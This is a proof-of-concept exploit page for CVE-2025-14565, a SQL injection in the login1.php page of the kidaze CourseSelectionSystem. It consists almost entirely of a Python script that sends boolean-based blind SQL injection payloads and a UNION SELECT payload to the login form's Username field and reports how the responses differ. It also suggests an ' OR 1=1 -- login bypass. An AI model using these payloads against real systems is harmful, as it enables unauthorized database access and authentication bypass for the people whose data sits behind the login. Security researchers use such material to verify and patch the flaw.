CVE-2025-14565: kidaze CourseSelectionSystem login1.php SQL注入漏洞

import requests import sys # CVE-2025-14565 SQL Injection PoC # Target: kidaze CourseSelectionSystem /Profilers/SProfile/login1.php def exploit_sqli(target_url): """ SQL Injection exploit for CVE-2025-14565 This PoC demonstrates blind SQL injection in Username parameter """ # Normal login attempt (for comparison) normal_data = { 'Username': 'admin', 'Password': 'test' } # SQL Injection payloads # Boolean-based blind SQL injection payloads = [ "admin' AND 1=1--", "admin' AND 1=2--", "admin' UNION SELECT NULL--", "admin' AND (SELECT COUNT(*) FROM users) > 0--" ] print(f"[*] Target: {target_url}") print(f"[*] Testing SQL Injection vulnerability...") for payload in payloads: data = { 'Username': payload, 'Password': 'anything' } try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[*] Manual verification recommended") print("[*] Try: Username = ' OR 1=1 -- ") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target.com/Profilers/SProfile/login1.php" exploit_sqli(target)